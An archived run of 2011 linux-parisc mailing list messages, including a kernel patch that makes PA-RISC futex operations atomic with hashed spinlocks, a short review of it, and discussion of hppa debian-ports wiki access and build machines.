User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.18) Gecko/20110616 Lightning/1.0b2 Thunderbird/3.1.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3865
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3865>

Implements futex op support and makes futex cmpxchg atomic.
Tested on 64-bit SMP kernel running on 2 x PA8700s.

Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>
---
 futex.h |   64 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 59 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 67a33cc..94f2f4d 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -5,11 +5,14 @@
 
 #include <linux/futex.h>
 #include <linux/uaccess.h>
+#include <asm/atomic.h>
 #include <asm/errno.h>
 
 static inline int
 futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 {
+	unsigned long int flags;
+	u32 val;
 	int op = (encoded_op >> 28) & 7;
 	int cmp = (encoded_op >> 24) & 15;
 	int oparg = (encoded_op << 8) >> 20;
@@ -23,16 +26,53 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_disable();
 
+	_atomic_spin_lock_irqsave (uaddr, flags);
+
 	switch (op) {
 	case FUTEX_OP_SET:
+		/* *(int *)UADDR2 = OPARG; */
+		ret = get_user (oldval, uaddr);
+		if (!ret)
+			ret = put_user (oparg, uaddr);
+		break;
 	case FUTEX_OP_ADD:
+		/* *(int *)UADDR2 += OPARG; */
+		ret = get_user (oldval, uaddr);
+		if (!ret) {
+			val = oldval + oparg;
+			ret = put_user (val, uaddr);
+		}
+		break;
 	case FUTEX_OP_OR:
+		/* *(int *)UADDR2 |= OPARG; */
+		ret = get_user (oldval, uaddr);
+		if (!ret) {
+			val = oldval | oparg;
+			ret = put_user (val, uaddr);
+		}
+		break;
 	case FUTEX_OP_ANDN:
+		/* *(int *)UADDR2 &= ~OPARG; */
+		ret = get_user (oldval, uaddr);
+		if (!ret) {
+			val = oldval & ~oparg;
+			ret = put_user (val, uaddr);
+		}
+		break;
 	case FUTEX_OP_XOR:
+		/* *(int *)UADDR2 ^= OPARG; */
+		ret = get_user (oldval, uaddr);
+		if (!ret) {
+			val = oldval ^ oparg;
+			ret = put_user (val, uaddr);
+		}
+		break;
 	default:
 		ret = -ENOSYS;
 	}
 
+	_atomic_spin_unlock_irqrestore (uaddr, flags);
+
 	pagefault_enable();
 
 	if (!ret) {
@@ -54,7 +94,9 @@ static inline int
 futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 			      u32 oldval, u32 newval)
 {
+	int ret;
 	u32 val;
+	unsigned long flags;
 
 	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
 	 * our gateway page, and causes no end of trouble...
@@ -65,12 +107,24 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
 		return -EFAULT;
 
-	if (get_user(val, uaddr))
-		return -EFAULT;
-	if (val == oldval && put_user(newval, uaddr))
-		return -EFAULT;
+	/* HPPA has no cmpxchg in hardware and therefore the 
+	 * best we can do here is use an array of locks. The
+	 * lock selected is based on a hash of the userspace
+	 * address. This should scale to a couple of CPUs.
+	 */
+
+	_atomic_spin_lock_irqsave (uaddr, flags);
+
+	ret = get_user(val, uaddr);
+
+	if (!ret && val == oldval)
+		ret = put_user (newval, uaddr);
+
 	*uval = val;
-	return 0;
+
+	_atomic_spin_unlock_irqrestore (uaddr, flags);
+
+	return ret;
 }
 
 #endif /*__KERNEL__*/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status of hppa on debian-ports.
Date: Fri, 8 Jul 2011 17:30:43 -0400
Organization: wh0rd.org
Lines: 45
Approved: news@gmane.org
Message-ID: <201107081730.44289.vapier@gentoo.org>
References: <4E17689B.2090604@systemhalted.org> <201107081654.33542.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2741972.veqqtVjuV1";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310160650 12560 80.91.229.12 (8 Jul 2011 21:30:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 8 Jul 2011 21:30:50 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, Aurelien Jarno <aurel32@debian.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 08 23:30:45 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfIdI-0004ly-NI
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jul 2011 23:30:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753763Ab1GHVao (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jul 2011 17:30:44 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:59764 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753360Ab1GHVao (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jul 2011 17:30:44 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id AA9A71B4009;
	Fri,  8 Jul 2011 21:30:43 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/2.6.39; KDE/4.6.3; x86_64; ; )
In-Reply-To: <201107081654.33542.vapier@gentoo.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3866 gmane.linux.debian.ports.hppa:6690
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3866>

--nextPart2741972.veqqtVjuV1
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: quoted-printable

On Friday, July 08, 2011 16:54:32 Mike Frysinger wrote:
> On Friday, July 08, 2011 16:29:15 Carlos O'Donell wrote:
> > The current status of hppa on debian-ports is available here:
> >=20
> > http://wiki.parisc-linux.org/Debian_Ports
>=20
> the page is apparently marked immutable, otherwise i'd fix the typo:
> 	Not a debian developers.

or maybe it's just my new account as all pages seem to be immutable ...
=2Dmike

--nextPart2741972.veqqtVjuV1
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJOF3cEAAoJEEFjO5/oN/WBKR4P/0lYyBBjR6eIETo+CEDgie6W
4LhAnAx7uLuG5CxNjAf9FGTHb4GixAJ894JJj5+nsZmRf4jRj/ReLxrW40FACMiX
S/coDty0uqXZyBjhNqvLecbKNdXdj+UXFc9KKUFpxUS4Wm83jPoZM0KHPzqDUTcD
hYxlBwVN1E/K9KthBZ/QMliLhNYIX8lOHv9ZeQ8zxo1yIiOvqm5J86jPmdjmDEHZ
tAUQFmkx2FGIAo5q5n4y4XudqzYwUD+SCTYKQQgQpCsDjhA8j1y1HksfZTelgWLc
rirP9B9BrZslOdb0Xz1fCZ1LuQul414z4k7oshZ/PNl5oQPJiWnuArjI9tG98xUo
YRSfwptCZOLQNAWr8wTmbooQ0t69tqSyuCuzsvZQ7SfdQsGQhLsIy9/UJ7K6tCgx
xwdqz/ln5yM4i46l7mv85p+oLYd7xaDLdPF+96tYr3qm2wr+oLxXABHLs19wGhY/
YvmKOSnWdD+6ReTdJh9OEfszgLXXxfnHlcImKrrlNXLr7eCUyR5Y5unDJsJbE0r9
ZRZJg0nfv3lkJJcfnMIO7gHiq0jp8Pmtzg5MUHxJL/Oc2pOFGhrs0fh5dFdK0Lwd
j7u2ADF1sEKgH4rAZ8XLe5QAFgcbbAbfVQrYV9ONJEqv6KvmQlbooyVXbwCoCQFo
5K4UIrqssp8LGopgEEQU
=frhd
-----END PGP SIGNATURE-----

--nextPart2741972.veqqtVjuV1--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 2.6.39-rc3] parsic: Fix futex support
Date: Fri, 8 Jul 2011 17:42:48 -0400
Organization: wh0rd.org
Lines: 43
Approved: news@gmane.org
Message-ID: <201107081742.48874.vapier@gentoo.org>
References: <4E177624.1030500@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2610934.feHPynU4ZZ";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310161377 16245 80.91.229.12 (8 Jul 2011 21:42:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 8 Jul 2011 21:42:57 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 08 23:42:53 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfIoz-00041D-9x
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jul 2011 23:42:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754889Ab1GHVmt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jul 2011 17:42:49 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:33541 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752125Ab1GHVms (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jul 2011 17:42:48 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 402451B4045;
	Fri,  8 Jul 2011 21:42:48 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/2.6.39; KDE/4.6.3; x86_64; ; )
In-Reply-To: <4E177624.1030500@systemhalted.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3867
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3867>

--nextPart2610934.feHPynU4ZZ
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Friday, July 08, 2011 17:27:00 Carlos O'Donell wrote:
> Implements futex op support and makes futex cmpxchg atomic.
> Tested on 64-bit SMP kernel running on 2 x PA8700s.

seems like all the changes to this func are arch-independent and could be=20
placed into asm-generic/futex.h.  the current parisc futex.h looks like a c=
opy=20
of the asm-generic one ...
=2Dmike

--nextPart2610934.feHPynU4ZZ
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJOF3nYAAoJEEFjO5/oN/WB+DsP/AqxW+Vh+SnjXU5Qq9/Hnz7t
IXGNA5NSvqexXFsb5tyV2urxel9TidyaJS4zaAdZ5zj3uooT5ES6LDJQer7E5KGa
BcslBiOMQnT1R0RvftIQ+OFm0L+Fusw459H9RgoM3m0dehX3a7pxSemS5G+ypN7U
/cZpv6Haxb1Sb3aI6Q53Kdx8LoJsfjtBkQHii0b4q9ceT9N6VtR8S63B4GqbtFIp
Nd3DPIAUQURITLCyzvuxok4z8wHu8E3xVGSE0TE5iabRj/OoepNHAS+NSWM3o061
IDwIGddRtsIZgh5AJZJ8sI7zapIfcP56TO+ZRXrlyNkAoyK3sWXVmdWCQS+ovnoG
RqM33ZAf16fbZXSOPjLsEpb47WtPaoRgEgK96/yUlxRFXFbrA594I79bCdhMlhdc
X3ydQliQIhD+y1zRvbXodQ49NEb1avhhVQMbKjKz6ylo+P6JCPWCbhdAz4VgedO7
zfLGT8QROwia3SYLcslPEyXtAyuaB4nMq5sqUJxICTD4MrJhxjFlPSGnKqBuugVg
oChI/IbZI2Ic7dLAHC+hPi3yccj5RbaPqoxdli9XCik8PPygn2eUdnF7lyxlXf+z
b/Jd7YTxoCD5Mcj48l4RJfc7/0+8sJHODkm2xCyW+mQN0drdwqxrZSNCOWlH7qKK
niEjO/XXeOJo2qSU8cKz
=OM53
-----END PGP SIGNATURE-----

--nextPart2610934.feHPynU4ZZ--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 2.6.39-rc3] parsic: Fix futex support
Date: Fri, 08 Jul 2011 18:13:02 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <4E1780EE.1010405@systemhalted.org>
References: <4E177624.1030500@systemhalted.org> <201107081742.48874.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310163197 27065 80.91.229.12 (8 Jul 2011 22:13:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 8 Jul 2011 22:13:17 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 09 00:13:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfJIK-0001ju-4o
	for glpp-linux-parisc@lo.gmane.org; Sat, 09 Jul 2011 00:13:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751814Ab1GHWNH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jul 2011 18:13:07 -0400
Original-Received: from mail-pw0-f46.google.com ([209.85.160.46]:37242 "EHLO
	mail-pw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751794Ab1GHWNG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jul 2011 18:13:06 -0400
Original-Received: by pwj7 with SMTP id 7so1400034pwj.19
        for <linux-parisc@vger.kernel.org>; Fri, 08 Jul 2011 15:13:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=wGB+yLZjio7zxPUeTT8cHqIKjpdJZZ4zFXrC5HNtNiM=;
        b=Uq2JZQVBVPgZnFGUWTwD2tFrB3iPDg3Nm0hDSvF9CiVHWgudDkAIAsp3jsY4qQScVV
         f2HswnLlQb7reuWQQchtRzgcQjQLeOxO9faOsW71vPnIS0NmbGuCvdvp5pcwPeMjxyYF
         JC/vd8kxqkdasLz5EklZbg1bnSVEID3V9L8ys=
Original-Received: by 10.68.19.134 with SMTP id f6mr3513925pbe.31.1310163185584;
        Fri, 08 Jul 2011 15:13:05 -0700 (PDT)
Original-Received: from [192.168.2.18] (bas3-ottawa23-1177760865.dsl.bell.ca [70.51.52.97])
        by mx.google.com with ESMTPS id x1sm6549850pbb.82.2011.07.08.15.13.03
        (version=SSLv3 cipher=OTHER);
        Fri, 08 Jul 2011 15:13:04 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.18) Gecko/20110616 Lightning/1.0b2 Thunderbird/3.1.11
In-Reply-To: <201107081742.48874.vapier@gentoo.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3868
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3868>

On 7/8/2011 5:42 PM, Mike Frysinger wrote:
> On Friday, July 08, 2011 17:27:00 Carlos O'Donell wrote:
>> Implements futex op support and makes futex cmpxchg atomic.
>> Tested on 64-bit SMP kernel running on 2 x PA8700s.
> 
> seems like all the changes to this func are arch-independent and could be 
> placed into asm-generic/futex.h.  the current parisc futex.h looks like a copy 
> of the asm-generic one ...
> -mike

That's true. I didn't want to rock the boat on this one until
I hammered out all the userspace testing.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status of hppa on debian-ports.
Date: Sat, 9 Jul 2011 00:21:22 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <CA+DQjFigFMHXAuxHk=tPTThF4xBwv6ae9bQq2nY6KfHJo7y+ow@mail.gmail.com>
References: <4E17689B.2090604@systemhalted.org> <201107081654.33542.vapier@gentoo.org>
 <201107081730.44289.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310163712 30228 80.91.229.12 (8 Jul 2011 22:21:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 8 Jul 2011 22:21:52 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, Aurelien Jarno <aurel32@debian.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 09 00:21:47 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfJQe-0005zv-GM
	for glpp-linux-parisc@lo.gmane.org; Sat, 09 Jul 2011 00:21:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751842Ab1GHWVn convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jul 2011 18:21:43 -0400
Original-Received: from mail-yx0-f174.google.com ([209.85.213.174]:52295 "EHLO
	mail-yx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751814Ab1GHWVn convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jul 2011 18:21:43 -0400
Original-Received: by yxi11 with SMTP id 11so955120yxi.19
        for <linux-parisc@vger.kernel.org>; Fri, 08 Jul 2011 15:21:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=+6DHLtirdnaX38Cggb5nXkCBduOI2vVfeeyBLqH3K2Y=;
        b=HMQr+iM1xNdd0V4brBHY7ABq5JOsoAK/GAe0Q3OqZtS3qVtvE0dIVdmo0jvm1IzZEJ
         1JruBsm6+y5/QeqdRGBVpfc/G4pnGV+/nIE+5o1uCSL/u1h0uZWWSzDO3rjXbXNPQVta
         1X+Ujhsig3i9ofMmP0GmSQnAwMdtf6IoE6XzM=
Original-Received: by 10.150.50.3 with SMTP id x3mr2291418ybx.350.1310163702138; Fri,
 08 Jul 2011 15:21:42 -0700 (PDT)
Original-Received: by 10.151.110.7 with HTTP; Fri, 8 Jul 2011 15:21:22 -0700 (PDT)
In-Reply-To: <201107081730.44289.vapier@gentoo.org>
X-Google-Sender-Auth: uQX82pRcWw6Qo01sRVPwAHY1lcI
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3869 gmane.linux.debian.ports.hppa:6691
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3869>

On Fri, Jul 8, 2011 at 11:30 PM, Mike Frysinger <vapier@gentoo.org> wro=
te:
> On Friday, July 08, 2011 16:54:32 Mike Frysinger wrote:
>> On Friday, July 08, 2011 16:29:15 Carlos O'Donell wrote:
>> > The current status of hppa on debian-ports is available here:
>> >
>> > http://wiki.parisc-linux.org/Debian_Ports
>>
>> the page is apparently marked immutable, otherwise i'd fix the typo:
>> =C2=A0 =C2=A0 =C2=A0 Not a debian developers.
>
> or maybe it's just my new account as all pages seem to be immutable .=
=2E.
> -mike

What's your username? As explained here:
http://wiki.parisc-linux.org/WikiAccessPolicy

Someone already on the wiki needs to add you to the ACL.


--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status of hppa on debian-ports.
Date: Sat, 9 Jul 2011 00:22:41 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <CA+DQjFjBHKh4tt7TFNbz1tzWoDzN7sy2u9c=ONRgWXcgbTWDxQ@mail.gmail.com>
References: <4E17689B.2090604@systemhalted.org> <4E1771C2.1090405@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310163795 30727 80.91.229.12 (8 Jul 2011 22:23:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 8 Jul 2011 22:23:15 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, Aurelien Jarno <aurel32@debian.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 09 00:23:07 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfJRv-0006ha-Ps
	for glpp-linux-parisc@lo.gmane.org; Sat, 09 Jul 2011 00:23:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751842Ab1GHWXC convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jul 2011 18:23:02 -0400
Original-Received: from mail-yx0-f174.google.com ([209.85.213.174]:33694 "EHLO
	mail-yx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751089Ab1GHWXB convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jul 2011 18:23:01 -0400
Original-Received: by yxi11 with SMTP id 11so955431yxi.19
        for <linux-parisc@vger.kernel.org>; Fri, 08 Jul 2011 15:23:01 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=Cc/e5HhqAGfXZUBbHob0vGwwU5oNcCE/jbC3NsIz+Qw=;
        b=bjHa6CWDGOpIC6H4IQhZhKte20+wKInfPyWmX9RyWBkm7pbhZsMhN7KZT2Zt01L03c
         sR7UIh3FlPZx4citIXKeBxUGJWm3NrWLtQIIppYXEnMgjbpdwjfA+Qm5k63mu2mz6gj2
         Kc/nPRJifgWJ6j1f8IrLW7lg13ixjKLc0Wa7g=
Original-Received: by 10.151.86.20 with SMTP id o20mr2378409ybl.179.1310163781082; Fri,
 08 Jul 2011 15:23:01 -0700 (PDT)
Original-Received: by 10.151.110.7 with HTTP; Fri, 8 Jul 2011 15:22:41 -0700 (PDT)
In-Reply-To: <4E1771C2.1090405@bell.net>
X-Google-Sender-Auth: jnQwIIG0peAhQwfRt6h92j1QjGo
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3870 gmane.linux.debian.ports.hppa:6692
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3870>

On Fri, Jul 8, 2011 at 11:08 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
> On 7/8/2011 4:29 PM, Carlos O'Donell wrote:
>>
>> The current status of hppa on debian-ports is available here:
>>
>> http://wiki.parisc-linux.org/Debian_Ports
>
> We need contacts for the buildds machines. =C2=A0These need to be loc=
al to
> the machine unless remote console access is available.

There's a MP on the rp3440, fwiw.
HTH

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status of hppa on debian-ports.
Date: Sat, 9 Jul 2011 02:32:06 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <CAJaTeTpJBRz_9Fpg9N+tDfDxB-yWEs4dTmh4yW1Uz50N+34qiQ@mail.gmail.com>
References: <4E17689B.2090604@systemhalted.org> <201107081654.33542.vapier@gentoo.org>
 <201107081730.44289.vapier@gentoo.org> <CA+DQjFigFMHXAuxHk=tPTThF4xBwv6ae9bQq2nY6KfHJo7y+ow@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310193156 25822 80.91.229.12 (9 Jul 2011 06:32:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 9 Jul 2011 06:32:36 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, Aurelien Jarno <aurel32@debian.org>
To: Thibaut VARENE <varenet@parisc-linux.org>
